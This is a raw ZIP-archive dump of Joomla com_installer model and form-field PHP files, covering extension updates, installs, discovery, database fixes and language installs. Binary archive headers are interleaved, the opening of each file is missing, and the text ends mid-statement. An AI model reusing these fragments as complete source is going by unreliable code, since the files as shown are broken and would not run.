JUpdater::getInstance(); $results = $updater->findUpdates($eid, $cache_timeout); return true; } /** * Removes all of the updates from the table. * * @return boolean result of operation * @since 1.6 */ public function purge() { $db = JFactory::getDBO(); // Note: TRUNCATE is a DDL operation // This may or may not mean depending on your database $db->setQuery('TRUNCATE TABLE #__updates'); if ($db->Query()) { // Reset the last update check timestamp $query = $db->getQuery(true); $query->update($db->nq('#__update_sites')); $query->set($db->nq('last_check_timestamp').' = '.$db->q(0)); $db->setQuery($query); $db->query(); $this->_message = JText::_('COM_INSTALLER_PURGED_UPDATES'); return true; } else { $this->_message = JText::_('COM_INSTALLER_FAILED_TO_PURGE_UPDATES'); return false; } } /** * Enables any disabled rows in #__update_sites table * * @return boolean result of operation * @since 1.6 */ public function enableSites() { $db = JFactory::getDBO(); $db->setQuery('UPDATE #__update_sites SET enabled = 1 WHERE enabled = 0'); if ($db->Query()) { if ($rows = $db->getAffectedRows()) { $this->_message .= JText::plural('COM_INSTALLER_ENABLED_UPDATES', $rows); } return true; } else { $this->_message .= JText::_('COM_INSTALLER_FAILED_TO_ENABLE_UPDATES'); return false; } } /** * Update function. * * Sets the "result" state with the result of the operation. * * @param Array[int] List of updates to apply * @since 1.6 */ public function update($uids) { $result = true; foreach($uids as $uid) { $update = new JUpdate(); $instance = JTable::getInstance('update'); $instance->load($uid); $update->loadFromXML($instance->detailsurl); // install sets state and enqueues messages $res = $this->install($update); if ($res) { $instance->delete($uid); } $result = $res & $result; } // Set the final state $this->setState('result', $result); } /** * Handles the actual update installation. * * @param JUpdate An update definition * @return boolean Result of install * @since 1.6 */ private function install($update) { $app = JFactory::getApplication(); if (isset($update->get('downloadurl')->_data)) { $url = trim($update->downloadurl->_data); } else { JError::raiseWarning('', JText::_('COM_INSTALLER_INVALID_EXTENSION_UPDATE')); return false; } $p_file = JInstallerHelper::downloadPackage($url); // Was the package downloaded? if (!$p_file) { JError::raiseWarning('', JText::sprintf('COM_INSTALLER_PACKAGE_DOWNLOAD_FAILED', $url)); return false; } $config = JFactory::getConfig(); $tmp_dest = $config->get('tmp_path'); // Unpack the downloaded package file $package = JInstallerHelper::unpack($tmp_dest . '/' . $p_file); // Get an installer instance $installer = JInstaller::getInstance(); $update->set('type', $package['type']); // Install the package if (!$installer->update($package['dir'])) { // There was an error updating the package $msg = JText::sprintf('COM_INSTALLER_MSG_UPDATE_ERROR', JText::_('COM_INSTALLER_TYPE_TYPE_'.strtoupper($package['type']))); $result = false; } else { // Package updated successfully $msg = JText::sprintf('COM_INSTALLER_MSG_UPDATE_SUCCESS', JText::_('COM_INSTALLER_TYPE_TYPE_'.strtoupper($package['type']))); $result = true; } // Quick change $this->type = $package['type']; // Set some model state values $app->enqueueMessage($msg); // TODO: Reconfigure this code when you have more battery life left $this->setState('name', $installer->get('name')); $this->setState('result', $result); $app->setUserState('com_installer.message', $installer->message); $app->setUserState('com_installer.extension_message', $installer->get('extension_message')); // Cleanup the install files if (!is_file($package['packagefile'])) { $config = JFactory::getConfig(); $package['packagefile'] = $config->get('tmp_path') . '/' . $package['packagefile']; } JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']); return $result; } } PK@y>\V*components/com_installer/models/index.htmlnuW+A PK@y>\tI@1components/com_installer/models/fields/search.phpnuW+Aname . '" id="' . $this->id . '" value="' . htmlspecialchars($this->value) . '" title="' . JText::_('JSEARCH_FILTER') . '" onchange="this.form.submit();" />'; $html.= ''; $html.= ''; return $html; } } PK@y>\)0components/com_installer/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V1components/com_installer/models/fields/index.htmlnuW+A PK@y>\yU;1components/com_installer/models/fields/client.phpnuW+Aelement['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; $options = array(); foreach ($this->element->children() as $option) { $options[] = JHtml::_('select.option', $option->attributes('value'), JText::_(trim($option->data()))); } $options[] = JHtml::_('select.option', '0', JText::sprintf('JSITE')); $options[] = JHtml::_('select.option', '1', JText::sprintf('JADMINISTRATOR')); $return = JHtml::_('select.genericlist', $options, $this->name, $onchange, 'value', 'text', $this->value, $this->id); return $return; } } PK@y>\$.ȳ0components/com_installer/models/fields/group.phpnuW+Aelement['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; $options = array(); foreach ($this->element->children() as $option) { $options[] = JHtml::_('select.option', (string)$option->attributes()->value, JText::_(trim((string) $option))); } $dbo = JFactory::getDbo(); $query = $dbo->getQuery(true); $query->select('DISTINCT folder'); $query->from('#__extensions'); $query->where('folder != '.$dbo->quote('')); $query->order('folder'); $dbo->setQuery((string)$query); $folders = $dbo->loadColumn(); foreach($folders as $folder) { $options[] = JHtml::_('select.option', $folder, $folder); } $return = JHtml::_('select.genericlist', $options, $this->name, $onchange, 'value', 'text', $this->value, $this->id); return $return; } } PK@y>\Woo/components/com_installer/models/fields/type.phpnuW+Aelement['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; $options = array(); foreach ($this->element->children() as $option) { $options[] = JHtml::_('select.option', $option->attributes('value'), JText::_(trim((string) $option))); } $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('type')->from('#__extensions'); $db->setQuery($query); $types = array_unique($db->loadColumn()); foreach($types as $type) { $options[] = JHtml::_('select.option', $type, JText::_('COM_INSTALLER_TYPE_'. strtoupper($type))); } $return = JHtml::_('select.genericlist', $options, $this->name, $onchange, 'value', 'text', $this->value, $this->id); return $return; } } PK@y>\))components/com_installer/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\D##*components/com_installer/models/manage.phpnuW+AgetUserState($this->context.'.data'); $filters = $data['filters']; } else { $app->setUserState($this->context.'.data', array('filters'=>$filters)); } $this->setState('message', $app->getUserState('com_installer.message')); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); $this->setState('filter.search', isset($filters['search']) ? $filters['search'] : ''); $this->setState('filter.status', isset($filters['status']) ? $filters['status'] : ''); $this->setState('filter.type', isset($filters['type']) ? $filters['type'] : ''); $this->setState('filter.group', isset($filters['group']) ? $filters['group'] : ''); $this->setState('filter.client_id', isset($filters['client_id']) ? $filters['client_id'] : ''); parent::populateState('name', 'asc'); } /** * Enable/Disable an extension. * * @return boolean True on success * @since 1.5 */ function publish(&$eid = array(), $value = 1) { // Initialise variables. $user = JFactory::getUser(); if ($user->authorise('core.edit.state', 'com_installer')) { $result = true; /* * Ensure eid is an array of extension ids * TODO: If it isn't an array do we want to set an error and fail? */ if (!is_array($eid)) { $eid = array($eid); } // Get a database connector $db = JFactory::getDBO(); // Get a table object for the extension type $table = JTable::getInstance('Extension'); JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_templates/tables'); // Enable the extension in the table and store it in the database foreach($eid as $i=>$id) { $table->load($id); if ($table->type == 'template') { $style = JTable::getInstance('Style', 'TemplatesTable'); if ($style->load(array('template' => $table->element, 'client_id' => $table->client_id, 'home'=>1))) { JError::raiseNotice(403, JText::_('COM_INSTALLER_ERROR_DISABLE_DEFAULT_TEMPLATE_NOT_PERMITTED')); unset($eid[$i]); continue; } } if ($table->protected == 1) { $result = false; JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); } else { $table->enabled = $value; } if (!$table->store()) { $this->setError($table->getError()); $result = false; } } } else { $result = false; JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); } return $result; } /** * Refreshes the cached manifest information for an extension. * * @param int extension identifier (key in #__extensions) * @return boolean result of refresh * @since 1.6 */ function refresh($eid) { if (!is_array($eid)) { $eid = array($eid => 0); } // Get a database connector $db = JFactory::getDBO(); // Get an installer object for the extension type $installer = JInstaller::getInstance(); $row = JTable::getInstance('extension'); $result = 0; // Uninstall the chosen extensions foreach($eid as $id) { $result|= $installer->refreshManifestCache($id); } return $result; } /** * Remove (uninstall) an extension * * @param array An array of identifiers * @return boolean True on success * @since 1.5 */ function remove($eid = array()) { // Initialise variables. $user = JFactory::getUser(); if ($user->authorise('core.delete', 'com_installer')) { // Initialise variables. $failed = array(); /* * Ensure eid is an array of extension ids in the form id => client_id * TODO: If it isn't an array do we want to set an error and fail? */ if (!is_array($eid)) { $eid = array($eid => 0); } // Get a database connector $db = JFactory::getDBO(); // Get an installer object for the extension type $installer = JInstaller::getInstance(); $row = JTable::getInstance('extension'); // Uninstall the chosen extensions foreach($eid as $id) { $id = trim($id); $row->load($id); if ($row->type) { $result = $installer->uninstall($row->type, $id); // Build an array of extensions that failed to uninstall if ($result === false) { $failed[] = $id; } } else { $failed[] = $id; } } $langstring = 'COM_INSTALLER_TYPE_TYPE_'. strtoupper($row->type); $rowtype = JText::_($langstring); if(strpos($rowtype, $langstring) !== false) { $rowtype = $row->type; } if (count($failed)) { // There was an error in uninstalling the package $msg = JText::sprintf('COM_INSTALLER_UNINSTALL_ERROR', $rowtype); $result = false; } else { // Package uninstalled sucessfully $msg = JText::sprintf('COM_INSTALLER_UNINSTALL_SUCCESS', $rowtype); $result = true; } $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('action', 'remove'); $this->setState('name', $installer->get('name')); $app->setUserState('com_installer.message', $installer->message); $app->setUserState('com_installer.extension_message', $installer->get('extension_message')); return $result; } else { $result = false; JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED')); } } /** * Method to get the database query * * @return JDatabaseQuery The database query * @since 1.6 */ protected function getListQuery() { $status = $this->getState('filter.status'); $type = $this->getState('filter.type'); $client = $this->getState('filter.client_id'); $group = $this->getState('filter.group'); $query = JFactory::getDBO()->getQuery(true); $query->select('*'); $query->select('2*protected+(1-protected)*enabled as status'); $query->from('#__extensions'); $query->where('state=0'); if ($status != '') { if ($status == '2') { $query->where('protected = 1'); } else { $query->where('protected = 0'); $query->where('enabled=' . intval($status)); } } if ($type) { $query->where('type=' . $this->_db->Quote($type)); } if ($client != '') { $query->where('client_id=' . intval($client)); } if ($group != '' && in_array($type, array('plugin', 'library', ''))) { $query->where('folder=' . $this->_db->Quote($group == '*' ? '' : $group)); } // Filter by search in id $search = $this->getState('filter.search'); if (!empty($search) && stripos($search, 'id:') === 0) { $query->where('extension_id = '.(int) substr($search, 3)); } return $query; } /** * Method to get the row form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $app = JFactory::getApplication(); JForm::addFormPath(JPATH_COMPONENT . '/models/forms'); JForm::addFieldPath(JPATH_COMPONENT . '/models/fields'); $form = JForm::getInstance('com_installer.manage', 'manage', array('load_data' => $loadData)); // Check for an error. if ($form == false) { $this->setError($form->getMessage()); return false; } // Check the session for previously entered form data. $data = $this->loadFormData(); // Bind the form data if present. if (!empty($data)) { $form->bind($data); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_installer.manage.data', array()); return $data; } } PK@y>\ˬv,components/com_installer/models/warnings.phpnuW+AJText::_('COM_INSTALLER_MSG_WARNINGS_FILEUPLOADSDISABLED'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_FILEUPLOADISDISABLEDDESC')); } $upload_dir = ini_get('upload_tmp_dir'); if (!$upload_dir) { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSET'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTSETDESC')); } else { if (!is_writeable($upload_dir)) { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLE'), 'description'=>JText::sprintf('COM_INSTALLER_MSG_WARNINGS_PHPUPLOADNOTWRITEABLEDESC', $upload_dir)); } } $config = JFactory::getConfig(); $tmp_path = $config->get('tmp_path'); if (!$tmp_path) { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSET'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTSETDESC')); } else { if (!is_writeable($tmp_path)) { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLE'), 'description'=>JText::sprintf('COM_INSTALLER_MSG_WARNINGS_JOOMLATMPNOTWRITEABLEDESC', $tmp_path)); } } $memory_limit = $this->return_bytes(ini_get('memory_limit')); if ($memory_limit < (8 * 1024 * 1024) && $memory_limit != -1) { // 8MB $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_LOWMEMORYWARN'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_LOWMEMORYDESC')); } elseif ($memory_limit < (16 * 1024 * 1024) && $memory_limit != -1) { //16MB $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_MEDMEMORYWARN'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_MEDMEMORYDESC')); } $post_max_size = $this->return_bytes(ini_get('post_max_size')); $upload_max_filesize = $this->return_bytes(ini_get('upload_max_filesize')); if($post_max_size < $upload_max_filesize) { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOST'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADBIGGERTHANPOSTDESC')); } if($post_max_size < (4 * 1024 * 1024)) // 4MB { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZE'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLPOSTSIZEDESC')); } if($upload_max_filesize < (4 * 1024 * 1024)) // 4MB { $messages[] = array('message'=>JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZE'), 'description'=>JText::_('COM_INSTALLER_MSG_WARNINGS_SMALLUPLOADSIZEDESC')); } return $messages; } } PK@y>\֪,components/com_installer/models/database.phpnuW+AsetState('message', $app->getUserState('com_installer.message')); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); parent::populateState('name', 'asc'); } /** * * Fixes database problems */ public function fix() { $changeSet = $this->getItems(); $changeSet->fix(); $this->fixSchemaVersion($changeSet); $this->fixUpdateVersion(); $installer = new joomlaInstallerScript(); $installer->deleteUnexistingFiles(); $this->fixDefaultTextFilters(); } /** * * Gets the changeset object * * @return JSchemaChangeset */ public function getItems() { $folder = JPATH_ADMINISTRATOR . '/components/com_admin/sql/updates/'; $changeSet = JSchemaChangeset::getInstance(JFactory::getDbo(), $folder); return $changeSet; } public function getPagination() { return true; } /** * Get version from #__schemas table * * @return mixed the return value from the query, or null if the query fails * @throws Exception */ public function getSchemaVersion() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('version_id')->from($db->qn('#__schemas')) ->where('extension_id = 700'); $db->setQuery($query); $result = $db->loadResult(); if ($db->getErrorNum()) { throw new Exception('Database error - getSchemaVersion'); } return $result; } /** * Fix schema version if wrong * * @param JSchemaChangeSet * * @return mixed string schema version if success, false if fail */ public function fixSchemaVersion($changeSet) { // Get correct schema version -- last file in array $schema = $changeSet->getSchema(); $db = JFactory::getDbo(); $result = false; // Check value. If ok, don't do update $version = $this->getSchemaVersion(); if ($version == $schema) { $result = $version; } else { // Delete old row $query = $db->getQuery(true); $query->delete($db->qn('#__schemas')); $query->where($db->qn('extension_id') . ' = 700'); $db->setQuery($query); $db->query(); // Add new row $query = $db->getQuery(true); $query->insert($db->qn('#__schemas')); $query->set($db->qn('extension_id') . '= 700'); $query->set($db->qn('version_id') . '= ' . $db->q($schema)); $db->setQuery($query); if ($db->query()) { $result = $schema; } } return $result; } /** * Get current version from #__extensions table * * @return mixed version if successful, false if fail */ public function getUpdateVersion() { $table = JTable::getInstance('Extension'); $table->load('700'); $cache = new JRegistry($table->manifest_cache); return $cache->get('version'); } /** * Fix Joomla version in #__extensions table if wrong (doesn't equal JVersion short version) * * @return mixed string update version if success, false if fail */ public function fixUpdateVersion() { $table = JTable::getInstance('Extension'); $table->load('700'); $cache = new JRegistry($table->manifest_cache); $updateVersion = $cache->get('version'); $cmsVersion = new JVersion(); if ($updateVersion == $cmsVersion->getShortVersion()) { return $updateVersion; } else { $cache->set('version', $cmsVersion->getShortVersion()); $table->manifest_cache = $cache->toString(); if ($table->store()) { return $cmsVersion->getShortVersion(); } else { return false; } } } /** * For version 2.5.x only * Check if com_config parameters are blank. * * @return string default text filters (if any) */ public function getDefaultTextFilters() { $table = JTable::getInstance('Extension'); $table->load($table->find(array('name' => 'com_config'))); return $table->params; } /** * For version 2.5.x only * Check if com_config parameters are blank. If so, populate with com_content text filters. * * @return mixed boolean true if params are updated, null otherwise */ public function fixDefaultTextFilters() { $table = JTable::getInstance('Extension'); $table->load($table->find(array('name' => 'com_config'))); // Check for empty $config and non-empty content filters if (!$table->params) { // Get filters from com_content and store if you find them $contentParams = JComponentHelper::getParams('com_content'); if ($contentParams->get('filters')) { $newParams = new JRegistry(); $newParams->set('filters', $contentParams->get('filters')); $table->params = (string) $newParams; $table->store(); return true; } } } } PK@y>\##,components/com_installer/models/discover.phpnuW+AsetState('message', $app->getUserState('com_installer.message')); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); parent::populateState('name', 'asc'); } /** * Method to get the database query. * * @return JDatabaseQuery the database query * @since 1.6 */ protected function getListQuery() { $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('*'); $query->from('#__extensions'); $query->where('state=-1'); return $query; } /** * Discover extensions. * * Finds uninstalled extensions * * @since 1.6 */ function discover() { $installer = JInstaller::getInstance(); $results = $installer->discover(); // Get all templates, including discovered ones $query = 'SELECT extension_id, element, folder, client_id, type FROM #__extensions'; $dbo = JFactory::getDBO(); $dbo->setQuery($query); $installedtmp = $dbo->loadObjectList(); $extensions = array(); foreach($installedtmp as $install) { $key = implode(':', array($install->type, $install->element, $install->folder, $install->client_id)); $extensions[$key] = $install; } unset($installedtmp); foreach($results as $result) { // check if we have a match on the element $key = implode(':', array($result->type, $result->element, $result->folder, $result->client_id)); if(!array_key_exists($key, $extensions)) { $result->store(); // put it into the table } } } /** * Installs a discovered extension. * * @since 1.6 */ function discover_install() { $app = JFactory::getApplication(); $installer = JInstaller::getInstance(); $eid = JRequest::getVar('cid', 0); if (is_array($eid) || $eid) { if (!is_array($eid)) { $eid = array($eid); } JArrayHelper::toInteger($eid); $app = JFactory::getApplication(); $failed = false; foreach($eid as $id) { $result = $installer->discover_install($id); if (!$result) { $failed = true; $app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_INSTALLFAILED').': '. $id); } } $this->setState('action', 'remove'); $this->setState('name', $installer->get('name')); $app->setUserState('com_installer.message', $installer->message); $app->setUserState('com_installer.extension_message', $installer->get('extension_message')); if (!$failed) { $app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_INSTALLSUCCESSFUL')); } } else { $app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED')); } } /** * Cleans out the list of discovered extensions. * * @since 1.6 */ function purge() { $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->delete(); $query->from('#__extensions'); $query->where('state = -1'); $db->setQuery((string)$query); if ($db->Query()) { $this->_message = JText::_('COM_INSTALLER_MSG_DISCOVER_PURGEDDISCOVEREDEXTENSIONS'); return true; } else { $this->_message = JText::_('COM_INSTALLER_MSG_DISCOVER_FAILEDTOPURGEEXTENSIONS'); return false; } } } PK@y>\)/components/com_installer/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_installer/models/forms/index.htmlnuW+A PK@y>\;l,,0components/com_installer/models/forms/manage.xmlnuW+A
PK@y>\PΉ+components/com_installer/models/install.phpnuW+AsetState('message', $app->getUserState('com_installer.message')); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); // Recall the 'Install from Directory' path. $path = $app->getUserStateFromRequest($this->_context.'.install_directory', 'install_directory', $app->getCfg('tmp_path')); $this->setState('install.directory', $path); parent::populateState(); } /** * Install an extension from either folder, url or upload. * * @return boolean result of install * @since 1.5 */ function install() { $this->setState('action', 'install'); // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); $app = JFactory::getApplication(); switch(JRequest::getWord('installtype')) { case 'folder': // Remember the 'Install from Directory' path. $app->getUserStateFromRequest($this->_context.'.install_directory', 'install_directory'); $package = $this->_getPackageFromFolder(); break; case 'upload': $package = $this->_getPackageFromUpload(); break; case 'url': $package = $this->_getPackageFromUrl(); break; default: $app->setUserState('com_installer.message', JText::_('COM_INSTALLER_NO_INSTALL_TYPE_FOUND')); return false; break; } // Was the package unpacked? if (!$package) { $app->setUserState('com_installer.message', JText::_('COM_INSTALLER_UNABLE_TO_FIND_INSTALL_PACKAGE')); return false; } // Get an installer instance $installer = JInstaller::getInstance(); // Install the package if (!$installer->install($package['dir'])) { // There was an error installing the package $msg = JText::sprintf('COM_INSTALLER_INSTALL_ERROR', JText::_('COM_INSTALLER_TYPE_TYPE_'.strtoupper($package['type']))); $result = false; } else { // Package installed sucessfully $msg = JText::sprintf('COM_INSTALLER_INSTALL_SUCCESS', JText::_('COM_INSTALLER_TYPE_TYPE_'.strtoupper($package['type']))); $result = true; } // Set some model state values $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('name', $installer->get('name')); $this->setState('result', $result); $app->setUserState('com_installer.message', $installer->message); $app->setUserState('com_installer.extension_message', $installer->get('extension_message')); $app->setUserState('com_installer.redirect_url', $installer->get('redirect_url')); // Cleanup the install files if (!is_file($package['packagefile'])) { $config = JFactory::getConfig(); $package['packagefile'] = $config->get('tmp_path') . '/' . $package['packagefile']; } JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']); return $result; } /** * Works out an installation package from a HTTP upload * * @return package definition or false on failure */ protected function _getPackageFromUpload() { // Get the uploaded file information $userfile = JRequest::getVar('install_package', null, 'files', 'array'); // Make sure that file uploads are enabled in php if (!(bool) ini_get('file_uploads')) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLFILE')); return false; } // Make sure that zlib is loaded so that the package can be unpacked if (!extension_loaded('zlib')) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLZLIB')); return false; } // If there is no uploaded file, we have a problem... if (!is_array($userfile)) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_NO_FILE_SELECTED')); return false; } // Check if there was a problem uploading the file. if ($userfile['error'] || $userfile['size'] < 1) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_WARNINSTALLUPLOADERROR')); return false; } // Build the appropriate paths $config = JFactory::getConfig(); $tmp_dest = $config->get('tmp_path') . '/' . $userfile['name']; $tmp_src = $userfile['tmp_name']; // Move uploaded file jimport('joomla.filesystem.file'); $uploaded = JFile::upload($tmp_src, $tmp_dest); // Unpack the downloaded package file $package = JInstallerHelper::unpack($tmp_dest); return $package; } /** * Install an extension from a directory * * @return Package details or false on failure * @since 1.5 */ protected function _getPackageFromFolder() { // Get the path to the package to install $p_dir = JRequest::getString('install_directory'); $p_dir = JPath::clean($p_dir); // Did you give us a valid directory? if (!is_dir($p_dir)) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_PLEASE_ENTER_A_PACKAGE_DIRECTORY')); return false; } // Detect the package type $type = JInstallerHelper::detectType($p_dir); // Did you give us a valid package? if (!$type) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE')); return false; } $package['packagefile'] = null; $package['extractdir'] = null; $package['dir'] = $p_dir; $package['type'] = $type; return $package; } /** * Install an extension from a URL * * @return Package details or false on failure * @since 1.5 */ protected function _getPackageFromUrl() { // Get a database connector $db = JFactory::getDbo(); // Get the URL of the package to install $url = JRequest::getString('install_url'); // Did you give us a URL? if (!$url) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_ENTER_A_URL')); return false; } // Download the package at the URL given $p_file = JInstallerHelper::downloadPackage($url); // Was the package downloaded? if (!$p_file) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_INVALID_URL')); return false; } $config = JFactory::getConfig(); $tmp_dest = $config->get('tmp_path'); // Unpack the downloaded package file $package = JInstallerHelper::unpack($tmp_dest . '/' . $p_file); return $package; } } PK@y>\J7LlNN-components/com_installer/models/extension.phpnuW+AgetState('list.ordering'); $search = $this->getState('filter.search'); // Replace slashes so preg_match will work $search = str_replace('/', ' ', $search); $db = $this->getDbo(); if ($ordering == 'name' || (!empty($search) && stripos($search, 'id:') !== 0)) { $db->setQuery($query); $result = $db->loadObjectList(); $lang = JFactory::getLanguage(); $this->translate($result); if (!empty($search)) { foreach($result as $i=>$item) { if (!preg_match("/$search/i", $item->name)) { unset($result[$i]); } } } JArrayHelper::sortObjects($result, $this->getState('list.ordering'), $this->getState('list.direction') == 'desc' ? -1 : 1, true, $lang->getLocale()); $total = count($result); $this->cache[$this->getStoreId('getTotal')] = $total; if ($total < $limitstart) { $limitstart = 0; $this->setState('list.start', 0); } return array_slice($result, $limitstart, $limit ? $limit : null); } else { $query->order($db->quoteName($ordering) . ' ' . $this->getState('list.direction')); $result = parent::_getList($query, $limitstart, $limit); $this->translate($result); return $result; } } /** * Translate a list of objects * * @param array The array of objects * @return array The array of translated objects */ private function translate(&$items) { $lang = JFactory::getLanguage(); foreach($items as &$item) { if (strlen($item->manifest_cache)) { $data = json_decode($item->manifest_cache); if ($data) { foreach($data as $key => $value) { if ($key == 'type') { // ignore the type field continue; } $item->$key = $value; } } } $item->author_info = @$item->authorEmail .'
'. @$item->authorUrl; $item->client = $item->client_id ? JText::_('JADMINISTRATOR') : JText::_('JSITE'); $path = $item->client_id ? JPATH_ADMINISTRATOR : JPATH_SITE; switch ($item->type) { case 'component': $extension = $item->element; $source = JPATH_ADMINISTRATOR . '/components/' . $extension; $lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true) || $lang->load("$extension.sys", $source, null, false, true); break; case 'file': $extension = 'files_' . $item->element; $lang->load("$extension.sys", JPATH_SITE, null, false, true); break; case 'library': $extension = 'lib_' . $item->element; $lang->load("$extension.sys", JPATH_SITE, null, false, true); break; case 'module': $extension = $item->element; $source = $path . '/modules/' . $extension; $lang->load("$extension.sys", $path, null, false, true) || $lang->load("$extension.sys", $source, null, false, true); break; case 'package': $extension = $item->element; $lang->load("$extension.sys", JPATH_SITE, null, false, true); break; case 'plugin': $extension = 'plg_' . $item->folder . '_' . $item->element; $source = JPATH_PLUGINS . '/' . $item->folder . '/' . $item->element; $lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true) || $lang->load("$extension.sys", $source, null, false, true); break; case 'template': $extension = 'tpl_' . $item->element; $source = $path . '/templates/' . $item->element; $lang->load("$extension.sys", $path, null, false, true) || $lang->load("$extension.sys", $source, null, false, true); break; } if (!in_array($item->type, array('language', 'template', 'library'))) { $item->name = JText::_($item->name); } settype($item->description, 'string'); if (!in_array($item->type, array('language'))) { $item->description = JText::_($item->description); } } } } PK@y>\w-components/com_installer/models/languages.phpnuW+AgetQuery(true); // Select the required fields from the updates table $query->select('update_id, name, version, detailsurl, type'); $query->from('#__updates'); // This Where clause will avoid to list languages already installed. $query->where('extension_id = 0'); // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { $search = $db->Quote('%' . $db->escape($search, true) . '%'); $query->where('(name LIKE ' . $search . ')'); } // Add the list ordering clause. $listOrder = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); $query->order($db->escape($listOrder) . ' ' . $db->escape($orderDirn)); return $query; } /** * Method to get a store id based on model configuration state. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); return parent::getStoreId($id); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param null $ordering list order * @param null $direction direction in the list * * @return void */ protected function populateState($ordering = 'name', $direction = 'asc') { // Initialise variables. $app = JFactory::getApplication(); $value = $app->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'); $this->setState('filter.search', $value); $this->setState('extension_message', $app->getUserState('com_installer.extension_message')); parent::populateState($ordering, $direction); } /** * Method to find available languages in the Accredited Languages Update Site. * * @param int $cache_timeout time before refreshing the cached updates * * @return bool */ public function findLanguages($cache_timeout = 0) { $updater = JUpdater::getInstance(); /* * The following function uses extension_id 600, that is the english language extension id. * In #__update_sites_extensions you should have 600 linked to the Accredited Translations Repo */ $updater->findUpdates(array(600), $cache_timeout); return true; } /** * Install languages in the system. * * @param array $lids array of language ids selected in the list * * @return bool */ public function install($lids) { $app = JFactory::getApplication(); $installer = JInstaller::getInstance(); // Loop through every selected language foreach ($lids as $id) { // Loads the update database object that represents the language $language = JTable::getInstance('update'); $language->load($id); // Get the url to the XML manifest file of the selected language $remote_manifest = $this->_getLanguageManifest($id); if (!$remote_manifest) { // Could not find the url, the information in the update server may be corrupt $message = JText::sprintf('COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_MANIFEST', $language->name); $message .= ' ' . JText::_('COM_INSTALLER_MSG_LANGUAGES_TRY_LATER'); $app->enqueueMessage($message); continue; } // Based on the language XML manifest get the url of the package to download $package_url = 